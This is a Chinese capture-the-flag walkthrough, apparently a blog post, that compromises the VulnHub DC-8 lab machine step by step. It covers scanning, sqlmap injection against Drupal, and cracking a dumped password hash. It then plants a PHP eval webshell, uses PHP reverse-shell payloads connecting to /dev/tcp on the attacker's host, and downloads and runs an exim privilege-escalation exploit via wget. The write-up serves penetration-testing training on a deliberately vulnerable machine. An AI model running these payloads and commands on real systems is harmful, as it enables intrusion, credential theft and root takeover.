靶机9 DC-8(过程超详细)

简介:DC靶场一共有9个,对于学习渗透测试人员,有很大的帮助,是非常不错的靶场。

1、下载靶场

靶机名称:DC-8(包含1个flag)

下载地址:

DC: 8 ~ VulnHub

2、安装靶场

以DC-1为例,将文件解压(一压缩包形式进行下载)。

打开虚拟机,选择解压好的文件导入虚拟机( vof 版本高于4.0,点击重试即可导入)

导入成功,开启此虚拟机( 当页面出现 DC-8 login 时表示安装成功)。

3、获取靶机的flag

前提:

1、已知kali的IP地址(ifconfig)

—— kali IP地址:192.168.108.129/24

2、DC-8和kali在同一网段 | 已知DC-8所在的网段

—— DC-8 IP地址:192.168.108.141/24

3.1信息收集

获取DC-8的IP地址

命令:netdiscover -r 192.168.108.0/24

由图可知DC-8的IP地址是:192.168.108.141/24

端口扫描

命令:nmap -sV -p- 192.168.108.141

//-sV:扫描系统版本和程序版本号检测,-p-:全端口扫描,-O:扫描操作系统

获取信息如下(操作系统:Linux 3.2-4.9):

端口号

服务

版本

22

ssh

7.4p1

80

http

Apche

3.2    渗透测试

打开web进行查看

这是和DC-7一样的CMS(Drupal)

确认CMS(使用工具:CMSeek)

CMS:Drupal

版本:7

目录扫描

dirb http://dc-8

在主页随便点击之后发现 ?nid=1 的传参,直接上sqlmap测试是否存在常规的sql注入

sqlmap的使用

qlmap -u "http://dc-8/?nid=*"  #测试是否崔在SQL注入

qlmap -u "http://dc-8/?nid=*" --is-db #测试当前注入权限是否是最高权限

sqlmap -u "http://dc-8/?nid=*" --current-use #查看当前用户

sqlmap -u "http://dc-8/?nid=*" --current-db #查看当前数据库

sqlmap -u "http://dc-8/?nid=*" --tables -D "d7db" #查看d7db(当前数据库)下的所有表名

sqlmap -u "http://dc-8/?nid=*" --columns -T "users" -D "d7db" #查看users表中的所有列名

sqlmap -u "http://dc-8/?nid=*" --dump -C "uid,name,pass,mail,login" -T "users" -D "d7db"

#查看选定字段(uid、name、pass、mail、login)中的所有数据

这里我们获取到了两个账号的数据

admin $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z

john  $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

在这里使用 john(哈希工具)尝试跑一下密码

爆破出来密文:turtle

想偷个懒,看看能不能直接账号对 DC-8 进行ssh登录,结果没成功,只能想办法获取webshell了

在后台登陆页面进行登录(http://dc-8/user),成功使用用户 john(密码:turtle)登录进后台管理页面

在后台管理页面处看到有可以加载php代码的地方,先使用phpinfo进行测试

<p>xjizhi</p>

<?php

phpinfo();

?>

植入一句话(<?php @eval($_POST['webshell']);?>)

使用蚁剑连接失败(http://192.168.108.141/node/3/done?sid=5),没有权限,所以只能执行php代码进行反弹shell,使用第四条成功( system("bash -i > /dev/tcp/192.168.108.129/6868 0>&1");

PHP反弹 shell(Post 请求发送命令)

<?php system("id");?>

<?php echo shell_exec($_GET["cmd"] );exit; ?>

<?php system("bash -i >& /dev/tcp/192.168.108.129/6868 0>&1");?>   #post获取shell

<?php system("bash -i > /dev/tcp/192.168.108.129/6868 0>&1");?>    #交互式shell

<?php system("bash -c 'sh -i &>/dev/tcp/192.168.108.129/6868 0>&1'");?>  #交互式shell

老套路了,顺手改善一下shell交互的环境

python -c "import pty;pty.spawn('/bin/bash')"

查看是否存在suid提权

find / -perm -4000 -type f 2>/dev/null

补充:

  1. SUID是一种对二进制程序进行设置特殊权限,可以让二进制程序执行者临时拥有属主的权限,若是对一些特殊命令设置了SUID,那么将会有被提权的风险
  2. 常用的SUID提权命令有:nmap、vim、find、bash、more、less、nano、cp等。
  1. sudoSUID区别
    1. sudo是给某个用户或者授予执行某些命令的权限,权限在人身上
    2. SUID是给命令赋予root用户的权限,权限在命令上

查讯结果可以看出在使用exim4时具有root权限

进一步查看命令exim4命令版本

exim4 --version(查询结果:Exim version 4.89)

在漏洞库里面寻找可利用的漏洞

searchsploit exim 4.89

直接找没找到可以本地提权的漏洞,扩大一下范围直接找exim的漏洞(searchsploit exim )

查看脚本文件,发现了两个使用脚本提权的方式:

将脚本复制到桌面,使用靶机下载脚本文件

cp /usr/share/exploitdb/exploits/linux/local/46996.sh dc-8.sh

python2 -m SimpleHTTPServer 9999

wget http://192.168.108.129:9999/dc-8.sh

执行脚本

./dc-8.sh -m netcat

点击下方名片,加入GG安全团队,期待师傅们的加入,一起学习一起成长。 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值